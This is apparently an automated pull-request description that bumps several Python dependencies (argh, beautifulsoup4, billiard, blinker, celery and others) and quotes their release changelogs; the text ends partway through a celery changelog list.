https://github.com/neithere/argh/compare/v0.30.1...v0.30.2 ``` ### 0.30.1 ``` What's Changed Bugs fixed: - Regression: certain special values in argument default value would cause an exception (204 reported by mfussenegger, fixed by neithere) Enhancements: - Improved the tutorial by neithere - Added a more informative error message when the reason is likely to be related to the migration from Argh v0.29 to a version with a new argument name mapping policy by neithere Other changes: - Added `py.typed` marker file for PEP-561 by neithere Details Commits: https://github.com/neithere/argh/compare/v0.30.0...v0.30.1 Full changelog: https://argh.readthedocs.io/en/latest/changes.html#version-0-30-1 ``` ### 0.30.0 ``` What's Changed * Remove previously deprecated code (closes 184) by neithere in https://github.com/neithere/argh/pull/188 * Type annotations for existing code (closes 185) by neithere in https://github.com/neithere/argh/pull/189 * Deprecate `help` command alias and `expects_obj` decorator by neithere in https://github.com/neithere/argh/pull/192 * Document usage with class methods (closes 138) by neithere in https://github.com/neithere/argh/pull/194 * Remove pre_call, expose finer control over dispatching (re 63) by neithere in https://github.com/neithere/argh/pull/193 * Add support for Python 3.12 (closes 196) by neithere in https://github.com/neithere/argh/pull/195 * Refactor assembling module (closes 197) by neithere in https://github.com/neithere/argh/pull/198 * Keyword-only arguments as options (closes 191) by neithere in https://github.com/neithere/argh/pull/199 **Full Changelog**: https://github.com/neithere/argh/compare/v0.29.4...v0.30.0 ``` ### 0.30.0alpha ``` What's Changed * Remove previously deprecated code (closes 184) by neithere in https://github.com/neithere/argh/pull/188 * Type annotations for existing code (closes 185) by neithere in https://github.com/neithere/argh/pull/189 * Deprecate `help` command alias and `expects_obj` decorator by neithere in https://github.com/neithere/argh/pull/192 * Document usage with class methods (closes 138) by neithere in https://github.com/neithere/argh/pull/194 * Remove pre_call, expose finer control over dispatching (re 63) by neithere in https://github.com/neithere/argh/pull/193 * Add support for Python 3.12 (closes 196) by neithere in https://github.com/neithere/argh/pull/195 * Refactor assembling module (closes 197) by neithere in https://github.com/neithere/argh/pull/198 * Keyword-only arguments as options (closes 191) by neithere in https://github.com/neithere/argh/pull/199 **Full Changelog**: https://github.com/neithere/argh/compare/v0.29.4...v0.30.0-alpha ``` ### 0.29.4 ``` Bugs fixed: - Test coverage reported as <100% when argcomplete is installed (187) ``` ### 0.29.3 ``` This is a technical release for packaging purposes. ``` ### 0.29.2 ``` This is a technical release for packaging purposes. ``` ### 0.29.1 ``` This is a technical release for packaging purposes. ``` ### 0.29.0 ``` What's Changed Backwards incompatible changes: * Wrapped exceptions now cause ``dispatching.dispatch()`` to raise ``SystemExit(1)`` instead of returning without error. For most users, this means failed commands will now exit with a failure status instead of a success (by ekimekim in 161). Deprecated: * Renamed arguments in `add_commands()` (165 / 178): - `namespace` → `group_name` - `namespace_kwargs` → `group_kwargs` The old names are deprecated and will be removed in v.0.30. Enhancements: * Can control exit status (see Backwards Incompatible Changes above) when raising ``CommandError`` using the ``code`` keyword arg. Bugs fixed: * Positional arguments should not lead to removal of short form of keyword argument by neithere in 181 Other changes: * Avoid depending on iocapture by using pytest's built-in feature by mr-c in 177 * chore: publishing to prod PyPI by neithere in 173 * test: add coverage for action="count" (127) by neithere in 183 New Contributors * ekimekim made their first contribution in https://github.com/neithere/argh/pull/161 * mr-c made their first contribution in https://github.com/neithere/argh/pull/177 **Full Changelog**: https://github.com/neithere/argh/compare/v0.28.1...v0.29.0 ``` ### 0.28.1 ``` What's Changed * Add Github workflow to publish the release to PyPI by neithere in https://github.com/neithere/argh/pull/167 * fix: argcomplete-related test by neithere in 172 (reported in 169 by kloczek) * fix: assumed prog name in tests by neithere in 171 (reported in 170 by mgorny) **Full Changelog**: https://github.com/neithere/argh/compare/v0.28.0...v0.28.1 Thanks to everyone who reported ``` ### 0.28.0 ``` A major modernisation and cleanup. Backward incompatible changes: - Dropped support for Python 2.7 and 3.7. Deprecated features, to be removed in v.0.30: - `argh.assembling.SUPPORTS_ALIASES`. - Always `True` for recent versions of Python. - `argh.io.safe_input()` AKA `argh.interaction.safe_input()`. - Not relevant anymore. Please use the built-in `input()` instead. - argument `pre_call` in `dispatch()`. Even though this hack seems to have been used in some projects, it was never part of the official API and never recommended. Describing your use case in the discussion about shared arguments (63) can help improve the library to accomodate it in a proper way. - Argument help as annotations. - Annotations will only be used for types after v.0.30. - Please replace any instance of: def func(foo: "Foobar"): with the following:: arg('-f', '--foo', help="Foobar") def func(foo): It will be decided later how to keep this functionality "DRY" (don't repeat yourself) without conflicts with modern conventions and tools. - Added deprecation warnings for some arguments deprecated back in v.0.26. **Full Changelog**: https://github.com/neithere/argh/compare/v0.27.2...v0.28.0 ``` ### 0.27.2 ``` Minor packaging fix: * chore: include file required by tox.ini in the sdist (155) ``` ### 0.27.1 ``` Minor building and packaging fixes: * docs: add Read the Docs config (160) * chore: include tox.ini in the sdist (155) Contributors: mtelka (155) ``` ### 0.27.0 ``` This is the last version to support Python 2.7. Backward incompatible changes: - Dropped support for Python 2.6. Enhancements: - Added support for Python 3.7 through 3.11. - Support introspection of function signature behind the `wraps` decorator (issue 111). Fixed bugs: - When command function signature contained ``**kwargs`` *and* positionals without defaults and with underscores in their names, a weird behaviour could be observed (issue 104). - Fixed introspection through decorators (issue 111). - Switched to Python's built-in `unittest.mock` (PR 154). - Fixed bug with `skip_unknown_args=True` (PR 134). - Fixed tests for Python 3.9.7+ (issue 148). Other changes: - Included the license files in manifest (PR 112). - Extended the list of similar projects (PR 87). - Fixed typos and links in documentation (PR 110, 116, 156). - Switched CI to Github Actions (PR 153). Contributors: dwf (105), jwilk (110), jakirkham (112), brilee, sanga (116), Gidgidonihah (134), mrdavidlaing (153), jelly (154), mtelka (154), hugovk (reviewing PRs). ```Links
- PyPI: https://pypi.org/project/argh - Changelog: https://data.safetycli.com/changelogs/argh/ - Docs: https://pythonhosted.org/argh/Update atomicwrites from 1.3.0 to 1.4.1.
The bot wasn't able to find a changelog for this release. Got an idea?
Links
- PyPI: https://pypi.org/project/atomicwrites - Repo: https://github.com/untitaker/python-atomicwritesUpdate attrs from 19.3.0 to 23.2.0.
The bot wasn't able to find a changelog for this release. Got an idea?
Links
- PyPI: https://pypi.org/project/attrsUpdate beautifulsoup4 from 4.8.1 to 4.12.3.
Changelog
### 4.11.1 ``` This release was done to ensure that the unit tests are packaged along with the released source. There are no functionality changes in this release, but there are a few other packaging changes: * The Japanese and Korean translations of the documentation are included. * The changelog is now packaged as CHANGELOG, and the license file is packaged as LICENSE. NEWS.txt and COPYING.txt are still present, but may be removed in the future. * TODO.txt is no longer packaged, since a TODO is not relevant for released code. ``` ### 4.11.0 ``` * Ported unit tests to use pytest. * Added special string classes, RubyParenthesisString and RubyTextString, to make it possible to treat ruby text specially in get_text() calls. [bug=1941980] * It's now possible to customize the way output is indented by providing a value for the 'indent' argument to the Formatter constructor. The 'indent' argument works very similarly to the argument of the same name in the Python standard library's json.dump() function. [bug=1955497] * If the charset-normalizer Python module (https://pypi.org/project/charset-normalizer/) is installed, Beautiful Soup will use it to detect the character sets of incoming documents. This is also the module used by newer versions of the Requests library. For the sake of backwards compatibility, chardet and cchardet both take precedence if installed. [bug=1955346] * Added a workaround for an lxml bug (https://bugs.launchpad.net/lxml/+bug/1948551) that causes problems when parsing a Unicode string beginning with BYTE ORDER MARK. [bug=1947768] * Issue a warning when an HTML parser is used to parse a document that looks like XML but not XHTML. [bug=1939121] * Do a better job of keeping track of namespaces as an XML document is parsed, so that CSS selectors that use namespaces will do the right thing more often. [bug=1946243] * Some time ago, the misleadingly named "text" argument to find-type methods was renamed to the more accurate "string." But this supposed "renaming" didn't make it into important places like the method signatures or the docstrings. That's corrected in this version. "text" still works, but will give a DeprecationWarning. [bug=1947038] * Fixed a crash when pickling a BeautifulSoup object that has no tree builder. [bug=1934003] * Fixed a crash when overriding multi_valued_attributes and using the html5lib parser. [bug=1948488] * Standardized the wording of the MarkupResemblesLocatorWarning warnings to omit untrusted input and make the warnings less judgmental about what you ought to be doing. [bug=1955450] * Removed support for the iconv_codec library, which doesn't seem to exist anymore and was never put up on PyPI. (The closest replacement on PyPI, iconv_codecs, is GPL-licensed, so we can't use it--it's also quite old.) ``` ### 4.10.0 ``` * This is the first release of Beautiful Soup to only support Python 3. I dropped Python 2 support to maintain support for newer versions (58 and up) of setuptools. See: https://github.com/pypa/setuptools/issues/2769 [bug=1942919] * The behavior of methods like .get_text() and .strings now differs depending on the type of tag. The change is visible with HTML tags like <script>, <style>, and <template>. Starting in 4.9.0, methods like get_text() returned no results on such tags, because the contents of those tags are not considered 'text' within the document as a whole. But a user who calls script.get_text() is working from a different definition of 'text' than a user who calls div.get_text()--otherwise there would be no need to call script.get_text() at all. In 4.10.0, the contents of (e.g.) a <script> tag are considered 'text' during a get_text() call on the tag itself, but not considered 'text' during a get_text() call on the tag's parent. Because of this change, calling get_text() on each child of a tag may now return a different result than calling get_text() on the tag itself. That's because different tags now have different understandings of what counts as 'text'. [bug=1906226] [bug=1868861] * NavigableString and its subclasses now implement the get_text() method, as well as the properties .strings and .stripped_strings. These methods will either return the string itself, or nothing, so the only reason to use this is when iterating over a list of mixed Tag and NavigableString objects. [bug=1904309] * The 'html5' formatter now treats attributes whose values are the empty string as HTML boolean attributes. Previously (and in other formatters), an attribute value must be set as None to be treated as a boolean attribute. In a future release, I plan to also give this behavior to the 'html' formatter. Patch by Isaac Muse. [bug=1915424] * The 'replace_with()' method now takes a variable number of arguments, and can be used to replace a single element with a sequence of elements. Patch by Bill Chandos. [rev=605] * Corrected output when the namespace prefix associated with a namespaced attribute is the empty string, as opposed to None. [bug=1915583] * Performance improvement when processing tags that speeds up overall tree construction by 2%. Patch by Morotti. [bug=1899358] * Corrected the use of special string container classes in cases when a single tag may contain strings with different containers; such as the <template> tag, which may contain both TemplateString objects and Comment objects. [bug=1913406] * The html.parser tree builder can now handle named entities found in the HTML5 spec in much the same way that the html5lib tree builder does. Note that the lxml HTML tree builder doesn't handle named entities this way. [bug=1924908] * Added a second way to pass specify encodings to UnicodeDammit and EncodingDetector, based on the order of precedence defined in the HTML5 spec, starting at: https://html.spec.whatwg.org/multipage/parsing.html#parsing-with-a-known-character-encoding Encodings in 'known_definite_encodings' are tried first, then byte-order-mark sniffing is run, then encodings in 'user_encodings' are tried. The old argument, 'override_encodings', is now a deprecated alias for 'known_definite_encodings'. This changes the default behavior of the html.parser and lxml tree builders, in a way that may slightly improve encoding detection but will probably have no effect. [bug=1889014] * Improve the warning issued when a directory name (as opposed to the name of a regular file) is passed as markup into the BeautifulSoup constructor. [bug=1913628] ``` ### 4.9.3 ``` * Implemented a significant performance optimization to the process of searching the parse tree. Patch by Morotti. [bug=1898212] ``` ### 4.9.2 ``` * Fixed a bug that caused too many tags to be popped from the tag stack during tree building, when encountering a closing tag that had no matching opening tag. [bug=1880420] * Fixed a bug that inconsistently moved elements over when passing a Tag, rather than a list, into Tag.extend(). [bug=1885710] * Specify the soupsieve dependency in a way that complies with PEP 508. Patch by Mike Nerone. [bug=1893696] * Change the signatures for BeautifulSoup.insert_before and insert_after (which are not implemented) to match PageElement.insert_before and insert_after, quieting warnings in some IDEs. [bug=1897120] ``` ### 4.9.1 ``` * Added a keyword argument 'on_duplicate_attribute' to the BeautifulSoupHTMLParser constructor (used by the html.parser tree builder) which lets you customize the handling of markup that contains the same attribute more than once, as in: <a href="url1" href="url2"> [bug=1878209] * Added a distinct subclass, GuessedAtParserWarning, for the warning issued when BeautifulSoup is instantiated without a parser being specified. [bug=1873787] * Added a distinct subclass, MarkupResemblesLocatorWarning, for the warning issued when BeautifulSoup is instantiated with 'markup' that actually seems to be a URL or the path to a file on disk. [bug=1873787] * The new NavigableString subclasses (Stylesheet, Script, and TemplateString) can now be imported directly from the bs4 package. * If you encode a document with a Python-specific encoding like 'unicode_escape', that encoding is no longer mentioned in the final XML or HTML document. Instead, encoding information is omitted or left blank. [bug=1874955] * Fixed test failures when run against soupselect 2.0. Patch by Tomáš Chvátal. [bug=1872279] ``` ### 4.9.0 ``` * Added PageElement.decomposed, a new property which lets you check whether you've already called decompose() on a Tag or NavigableString. * Embedded CSS and Javascript is now stored in distinct Stylesheet and Script tags, which are ignored by methods like get_text() since most people don't consider this sort of content to be 'text'. This feature is not supported by the html5lib treebuilder. [bug=1868861] * Added a Russian translation by 'authoress' to the repository. * Fixed an unhandled exception when formatting a Tag that had been decomposed.[bug=1857767] * Fixed a bug that happened when passing a Unicode filename containing non-ASCII characters as markup into Beautiful Soup, on a system that allows Unicode filenames. [bug=1866717] * Added a performance optimization to PageElement.extract(). Patch by Arthur Darcet. ``` ### 4.8.2 ``` * Added Python docstrings to all public methods of the most commonly used classes. * Added a Chinese translation by Deron Wang and a Brazilian Portuguese translation by Cezar Peixeiro to the repository. * Fixed two deprecation warnings. Patches by Colin Watson and Nicholas Neumann. [bug=1847592] [bug=1855301] * The html.parser tree builder now correctly handles DOCTYPEs that are not uppercase. [bug=1848401] * PageElement.select() now returns a ResultSet rather than a regular list, making it consistent with methods like find_all(). ```Links
- PyPI: https://pypi.org/project/beautifulsoup4 - Changelog: https://data.safetycli.com/changelogs/beautifulsoup4/Update billiard from 3.6.1.0 to 4.2.0.
Changelog
### 4.2.0 ``` -------------------- - Update process.py to close during join only if process has completed. - Adjust the __repr__ in ApplyResult. - Remove python 3.7 from CI. - Added Python 3.12 support. - Fixed (co_positions): resolve issue caused by absence co_positions (395). - Fixed: Replaced mktemp usage for Python 3 from python 2. - Changed nose test to pytest (397) in Integration test. - Changed nose dependency for unit test (383). ``` ### 4.1.0 ``` -------------------- - Fixed a python 2 to 3 compat issue which was missed earlier (374). - Adde Python 3.11 primary support ``` ### 4.0.2 ``` -------------------- - ExceptionWithTraceback should be an exception. ``` ### 4.0.1 ``` -------------------- - Add support for Python 3.11 _posixsubprocess.fork_exec() arguments. - Keep exception traceback somehow (368). ``` ### 4.0.0 ``` -------------------- - Support Sphinx 4.x. - Remove dependency to case. - Drop support of Python < 3.7. - Update to psutil 5.9.0. - Add python_requires to enforce Python version. - Replace deprecated threading Event.isSet with Event.is_set. - Prevent segmentation fault in get_pdeathsig while using ctypes (361). - Migrated CI to Github actions. - Python 3.10 support added. ``` ### 3.6.4.0 ``` -------------------- - Issue 309: Add Python 3.9 support to spawnv_passfds() - fix 314 ```Links
- PyPI: https://pypi.org/project/billiard - Changelog: https://data.safetycli.com/changelogs/billiard/ - Repo: https://github.com/celery/billiardUpdate blinker from 1.4 to 1.7.0.
Changelog
### 1.7.0 ``` ------------- Released 2023-11-01 - Fixed messages printed to standard error about unraisable exceptions during signal cleanup, typically during interpreter shutdown. :pr:`123` - Allow the Signal set_class to be customised, to allow calling of receivers in registration order. :pr:`116`. - Drop Python 3.7 and support Python 3.12. :pr:`126` ``` ### 1.6.3 ``` ------------- Released 2023-09-23 - Fix `SyncWrapperType` and `AsyncWrapperType` :pr:`108` - Fixed issue where ``signal.connected_to`` would not disconnect the receiver if an instance of ``BaseException`` was raised. :pr:`114` ``` ### 1.6.2 ``` ------------- Released 2023-04-12 - Type annotations are not evaluated at runtime. typing-extensions is not a runtime dependency. :pr:`94` ``` ### 1.6.1 ``` ------------- Released 2023-04-09 - Ensure that py.typed is present in the distributions (to enable other projects to use blinker's typing). - Require typing-extensions > 4.2 to ensure it includes ParamSpec. :issue:`90` ``` ### 1.6 ``` ----------- Released 2023-04-02 - Add a muted context manager to temporarily turn off a signal. :pr:`84` - Allow int senders (alongside existing string senders). :pr:`83` - Add a send_async method to the Signal to allow signals to send to coroutine receivers. :pr:`76` - Update and modernise the project structure to match that used by the pallets projects. :pr:`77` - Add an intial set of type hints for the project. ``` ### 1.5 ``` ----------- Released 2022-07-17 - Support Python >= 3.7 and PyPy. Python 2, Python < 3.7, and Jython may continue to work, but the next release will make incompatible changes. ```Links
- PyPI: https://pypi.org/project/blinker - Changelog: https://data.safetycli.com/changelogs/blinker/Update bokeh from 1.4.0 to 3.4.0.
The bot wasn't able to find a changelog for this release. Got an idea?
Links
- PyPI: https://pypi.org/project/bokehUpdate celery from 4.3.0 to 5.3.6.
Changelog
### 5.3.6 ``` ===== :release-date: 2023-11-22 9:15 P.M GMT+6 :release-by: Asif Saif Uddin This release is focused mainly to fix AWS SQS new feature comatibility issue and old regressions. The code changes are mostly fix for regressions. More details can be found below. - Increased docker-build CI job timeout from 30m -> 60m (8635) - Incredibly minor spelling fix. (8649) - Fix non-zero exit code when receiving remote shutdown (8650) - Update task.py get_custom_headers missing 'compression' key (8633) - Update kombu>=5.3.4 to fix SQS request compatibility with boto JSON serializer (8646) - test requirements version update (8655) - Update elasticsearch version (8656) - Propagates more ImportErrors during autodiscovery (8632) .. _version-5.3.5: ``` ### 5.3.5 ``` ===== :release-date: 2023-11-10 7:15 P.M GMT+6 :release-by: Asif Saif Uddin - Update test.txt versions (8481) - fix os.getcwd() FileNotFoundError (8448) - Fix typo in CONTRIBUTING.rst (8494) - typo(doc): configuration.rst (8484) - assert before raise (8495) - Update GHA checkout version (8496) - Fixed replaced_task_nesting (8500) - Fix code indentation for route_task() example (8502) - support redis 5.x (8504) - Fix typos in test_canvas.py (8498) - Marked flaky tests (8508) - Fix typos in calling.rst (8506) - Added support for replaced_task_nesting in chains (8501) - Fix typos in canvas.rst (8509) - Patch Version Release Checklist (8488) - Added Python 3.11 support to Dockerfile (8511) - Dependabot (Celery) (8510) - Bump actions/checkout from 3 to 4 (8512) - Update ETA example to include timezone (8516) - Replaces datetime.fromisoformat with the more lenient dateutil parser (8507) - Fixed indentation in Dockerfile for Python 3.11 (8527) - Fix git bug in Dockerfile (8528) - Tox lint upgrade from Python 3.9 to Python 3.11 (8526) - Document gevent concurrency (8520) - Update test.txt (8530) - Celery Docker Upgrades (8531) - pyupgrade upgrade v3.11.0 -> v3.13.0 (8535) - Update msgpack.txt (8548) - Update auth.txt (8547) - Update msgpack.txt to fix build issues (8552) - Basic ElasticSearch / ElasticClient 8.x Support (8519) - Fix eager tasks does not populate name field (8486) - Fix typo in celery.app.control (8563) - Update solar.txt ephem (8566) - Update test.txt pytest-timeout (8565) - Correct some mypy errors (8570) - Update elasticsearch.txt (8573) - Update test.txt deps (8574) - Update test.txt (8590) - Improved the "Next steps" documentation (8561). (8600) - Disabled couchbase tests due to broken package breaking main (8602) - Update elasticsearch deps (8605) - Update cryptography==41.0.5 (8604) - Update pytest==7.4.3 (8606) - test initial support of python 3.12.x (8549) - updated new versions to fix CI (8607) - Update zstd.txt (8609) - Fixed CI Support with Python 3.12 (8611) - updated CI, docs and classifier for next release (8613) - updated dockerfile to add python 3.12 (8614) - lint,mypy,docker-unit-tests -> Python 3.12 (8617) - Correct type of `request` in `task_revoked` documentation (8616) - update docs docker image (8618) - Fixed RecursionError caused by giving `config_from_object` nested mod… (8619) - Fix: serialization error when gossip working (6566) - [documentation] broker_connection_max_retries of 0 does not mean "retry forever" (8626) - added 2 debian package for better stability in Docker (8629) .. _version-5.3.4: ``` ### 5.3.4 ``` ===== :release-date: 2023-09-03 10:10 P.M GMT+2 :release-by: Tomer Nosrati .. warning:: This version has reverted the breaking changes introduced in 5.3.2 and 5.3.3: - Revert "store children with database backend" (8475) - Revert "Fix eager tasks does not populate name field" (8476) - Bugfix: Removed unecessary stamping code from _chord.run() (8339) - User guide fix (hotfix for 1755) (8342) - store children with database backend (8338) - Stamping bugfix with group/chord header errback linking (8347) - Use argsrepr and kwargsrepr in LOG_RECEIVED (8301) - Fixing minor typo in code example in calling.rst (8366) - add documents for timeout settings (8373) - fix: copyright year (8380) - setup.py: enable include_package_data (8379) - Fix eager tasks does not populate name field (8383) - Update test.txt dependencies (8389) - Update auth.txt deps (8392) - Fix backend.get_task_meta ignores the result_extended config parameter in mongodb backend (8391) - Support preload options for shell and purge commands (8374) - Implement safer ArangoDB queries (8351) - integration test: cleanup worker after test case (8361) - Added "Tomer Nosrati" to CONTRIBUTORS.txt (8400) - Update README.rst (8404) - Update README.rst (8408) - fix(canvas): add group index when unrolling tasks (8427) - fix(beat): debug statement should only log AsyncResult.id if it exists (8428) - Lint fixes & pre-commit autoupdate (8414) - Update auth.txt (8435) - Update mypy on test.txt (8438) - added missing kwargs arguments in some cli cmd (8049) - Fix 8431: Set format_date to False when calling _get_result_meta on mongo backend (8432) - Docs: rewrite out-of-date code (8441) - Limit redis client to 4.x since 5.x fails the test suite (8442) - Limit tox to < 4.9 (8443) - Fixed issue: Flags broker_connection_retry_on_startup & broker_connection_retry aren’t reliable (8446) - doc update from 7651 (8451) - Remove tox version limit (8464) - Fixed AttributeError: 'str' object has no attribute (8463) - Upgraded Kombu from 5.3.1 -> 5.3.2 (8468) - Document need for CELERY_ prefix on CLI env vars (8469) - Use string value for CELERY_SKIP_CHECKS envvar (8462) - Revert "store children with database backend" (8475) - Revert "Fix eager tasks does not populate name field" (8476) - Update Changelog (8474) - Remove as it seems to be buggy. (8340) - Revert "Add Semgrep to CI" (8477) - Revert "Revert "Add Semgrep to CI"" (8478) .. _version-5.3.3: ``` ### 5.3.3 ``` ============== :release-date: 2023-08-31 1:47 P.M GMT+2 :release-by: Tomer Nosrati .. warning:: This version has been yanked due to breaking API changes. The breaking changes include: - Store children with database backend (8338) - Fix eager tasks does not populate name field (8383) - Fixed changelog for 5.3.2 release docs. .. _version-5.3.2: ``` ### 5.3.2 ``` ============== :release-date: 2023-08-31 1:30 P.M GMT+2 :release-by: Tomer Nosrati .. warning:: This version has been yanked due to breaking API changes. The breaking changes include: - Store children with database backend (8338) - Fix eager tasks does not populate name field (8383) - Bugfix: Removed unecessary stamping code from _chord.run() (8339) - User guide fix (hotfix for 1755) (8342) - Store children with database backend (8338) - Stamping bugfix with group/chord header errback linking (8347) - Use argsrepr and kwargsrepr in LOG_RECEIVED (8301) - Fixing minor typo in code example in calling.rst (8366) - Add documents for timeout settings (8373) - Fix: copyright year (8380) - Setup.py: enable include_package_data (8379) - Fix eager tasks does not populate name field (8383) - Update test.txt dependencies (8389) - Update auth.txt deps (8392) - Fix backend.get_task_meta ignores the result_extended config parameter in mongodb backend (8391) - Support preload options for shell and purge commands (8374) - Implement safer ArangoDB queries (8351) - Integration test: cleanup worker after test case (8361) - Added "Tomer Nosrati" to CONTRIBUTORS.txt (8400) - Update README.rst (8404) - Update README.rst (8408) - Fix(canvas): add group index when unrolling tasks (8427) - Fix(beat): debug statement should only log AsyncResult.id if it exists (8428) - Lint fixes & pre-commit autoupdate (8414) - Update auth.txt (8435) - Update mypy on test.txt (8438) - Added missing kwargs arguments in some cli cmd (8049) - Fix 8431: Set format_date to False when calling _get_result_meta on mongo backend (8432) - Docs: rewrite out-of-date code (8441) - Limit redis client to 4.x since 5.x fails the test suite (8442) - Limit tox to < 4.9 (8443) - Fixed issue: Flags broker_connection_retry_on_startup & broker_connection_retry aren’t reliable (8446) - Doc update from 7651 (8451) - Remove tox version limit (8464) - Fixed AttributeError: 'str' object has no attribute (8463) - Upgraded Kombu from 5.3.1 -> 5.3.2 (8468) .. _version-5.3.1: ``` ### 5.3.1 ``` ===== :release-date: 2023-06-18 8:15 P.M GMT+6 :release-by: Asif Saif Uddin - Upgrade to latest pycurl release (7069). - Limit librabbitmq>=2.0.0; python_version < '3.11' (8302). - Added initial support for python 3.11 (8304). - ChainMap observers fix (8305). - Revert optimization CLI flag behaviour back to original. - Restrict redis 4.5.5 as it has severe bugs (8317). - Tested pypy 3.10 version in CI (8320). - Bump new version of kombu to 5.3.1 (8323). - Fixed a small float value of retry_backoff (8295). - Limit pyro4 up to python 3.10 only as it is (8324). .. _version-5.3.0: ``` ### 5.3.0 ``` ===== :release-date: 2023-06-06 12:00 P.M GMT+6 :release-by: Asif Saif Uddin - Test kombu 5.3.0 & minor doc update (8294). - Update librabbitmq.txt > 2.0.0 (8292). - Upgrade syntax to py3.8 (8281). .. _version-5.3.0rc2: ``` ### 5.3.0rc2 ``` ======== :release-date: 2023-05-31 9:00 P.M GMT+6 :release-by: Asif Saif Uddin - Add missing dependency. - Fix exc_type being the exception instance rather. - Fixed revoking tasks by stamped headers (8269). - Support sqlalchemy 2.0 in tests (8271). - Fix docker (8275). - Update redis.txt to 4.5 (8278). - Update kombu>=5.3.0rc2. .. _version-5.3.0rc1: ``` ### 5.3.0rc1 ``` ======== :release-date: 2023-05-11 4:24 P.M GMT+2 :release-by: Tomer Nosrati - fix functiom name by cuishuang in 8087 - Update CELERY_TASK_EAGER setting in user guide by thebalaa in 8085 - Stamping documentation fixes & cleanups by Nusnus in 8092 - switch to maintained pyro5 by auvipy in 8093 - udate dependencies of tests by auvipy in 8095 - cryptography==39.0.1 by auvipy in 8096 - Annotate celery/security/certificate.py by Kludex in 7398 - Deprecate parse_iso8601 in favor of fromisoformat by stumpylog in 8098 - pytest==7.2.2 by auvipy in 8106 - Type annotations for celery/utils/text.py by max-muoto in 8107 - Update web framework URLs by sblondon in 8112 - Fix contribution URL by sblondon in 8111 - Trying to clarify CERT_REQUIRED by pamelafox in 8113 - Fix potential AttributeError on 'stamps' by Darkheir in 8115 - Type annotations for celery/apps/beat.py by max-muoto in 8108 - Fixed bug where retrying a task loses its stamps by Nusnus in 8120 - Type hints for celery/schedules.py by max-muoto in 8114 - Reference Gopher Celery in README by marselester in 8131 - Update sqlalchemy.txt by auvipy in 8136 - azure-storage-blob 12.15.0 by auvipy in 8137 - test kombu 5.3.0b3 by auvipy in 8138 - fix: add expire string parse. by Bidaya0 in 8134 - Fix worker crash on un-pickleable exceptions by youtux in 8133 - CLI help output: avoid text rewrapping by click by woutdenolf in 8152 - Warn when an unnamed periodic task override another one. by iurisilvio in 8143 - Fix Task.handle_ignore not wrapping exceptions properly by youtux in 8149 - Hotfix for (8120) - Stamping bug with retry by Nusnus in 8158 - Fix integration test by youtux in 8156 - Fixed bug in revoke_by_stamped_headers where impl did not match doc by Nusnus in 8162 - Align revoke and revoke_by_stamped_headers return values (terminate=True) by Nusnus in 8163 - Update & simplify GHA pip caching by stumpylog in 8164 - Update auth.txt by auvipy in 8167 - Update test.txt versions by auvipy in 8173 - remove extra = from test.txt by auvipy in 8179 - Update sqs.txt kombu[sqs]>=5.3.0b3 by auvipy in 8174 - Added signal triggered before fork by jaroslawporada in 8177 - Update documentation on SQLAlchemy by max-muoto in 8188 - Deprecate pytz and use zoneinfo by max-muoto in 8159 - Update dev.txt by auvipy in 8192 - Update test.txt by auvipy in 8193 - Update test-integration.txt by auvipy in 8194 - Update zstd.txt by auvipy in 8195 - Update s3.txt by auvipy in 8196 - Update msgpack.txt by auvipy in 8199 - Update solar.txt by auvipy in 8198 - Add Semgrep to CI by Nusnus in 8201 - Added semgrep to README.rst by Nusnus in 8202 - Update django.txt by auvipy in 8197 - Update redis.txt 4.3.6 by auvipy in 8161 - start removing codecov from pypi by auvipy in 8206 - Update test.txt dependencies by auvipy in 8205 - Improved doc for: worker_deduplicate_successful_tasks by Nusnus in 8209 - Renamed revoked_headers to revoked_stamps by Nusnus in 8210 - Ensure argument for map is JSON serializable by candleindark in 8229 .. _version-5.3.0b2: ``` ### 5.3.0b3 ``` ======= :release-date: 20 Mar, 2023 :release-by: Asif Saif Uddin - Use SPDX license expression in project metadata. - Allowing Connection.ensure() to retry on specific exceptions given by policy (1629). - Redis==4.3.4 temporarilly in an attempt to avoid BC (1634). - Add managed identity support to azure storage queue (1631). - Support sqla v2.0 (1651). - Switch to Pyro5 (1655). - Remove unused _setupfuns from serialization.py. - Refactor: Refactor utils/json (1659). - Adapt the mock to correctly mock the behaviors as implemented on Python 3.10. (Ref 1663). .. _version-5.3.0b2: ``` ### 5.3.0b2 ``` ======= :release-date: 2023-02-19 1:47 P.M GMT+2 :release-by: Asif Saif Uddin - BLM-2: Adding unit tests to chord clone by Nusnus in 7668 - Fix unknown task error typo by dcecile in 7675 - rename redis integration test class so that tests are executed by wochinge in 7684 - Check certificate/private key type when loading them by qrmt in 7680 - Added integration test_chord_header_id_duplicated_on_rabbitmq_msg_duplication() by Nusnus in 7692 - New feature flag: allow_error_cb_on_chord_header - allowing setting an error callback on chord header by Nusnus in 7712 - Update README.rst sorting Python/Celery versions by andrebr in 7714 - Fixed a bug where stamping a chord body would not use the correct stamping method by Nusnus in 7722 - Fixed doc duplication typo for Signature.stamp() by Nusnus in 7725 - Fix issue 7726: variable used in finally block may not be instantiated by woutdenolf in 7727 - Fixed bug in chord stamping with another chord as a body + unit test by Nusnus in 7730 - Use "describe_table" not "create_table" to check for existence of DynamoDB table by maxfirman in 7734 - Enhancements for task_allow_error_cb_on_chord_header tests and docs by Nusnus in 7744 - Improved custom stamping visitor documentation by Nusnus in 7745 - Improved the coverage of test_chord_stamping_body_chord() by Nusnus in 7748 - billiard >= 3.6.3.0,<5.0 for rpm by auvipy in 7764 - Fixed memory leak with ETA tasks at connection error when worker_cancel_long_running_tasks_on_connection_loss is enabled by Nusnus in 7771 - Fixed bug where a chord with header of type tuple was not supported in the link_error flow for task_allow_error_cb_on_chord_header flag by Nusnus in 7772 - Scheduled weekly dependency update for week 38 by pyup-bot in 7767 - recreate_module: set spec to the new module by skshetry in 7773 - Override integration test config using integration-tests-config.json by thedrow in 7778 - Fixed error handling bugs due to upgrade to a newer version of billiard by Nusnus in 7781 - Do not recommend using easy_install anymore by jugmac00 in 7789 - GitHub Workflows security hardening by sashashura in 7768 - Update ambiguous acks_late doc by Zhong-z in 7728 - billiard >=4.0.2,<5.0 by auvipy in 7720 - importlib_metadata remove deprecated entry point interfaces by woutdenolf in 7785 - Scheduled weekly dependency update for week 41 by pyup-bot in 7798 - pyzmq>=22.3.0 by auvipy in 7497 - Remove amqp from the BACKEND_ALISES list by Kludex in 7805 - Replace print by logger.debug by Kludex in 7809 - Ignore coverage on except ImportError by Kludex in 7812 - Add mongodb dependencies to test.txt by Kludex in 7810 - Fix grammar typos on the whole project by Kludex in 7815 - Remove isatty wrapper function by Kludex in 7814 - 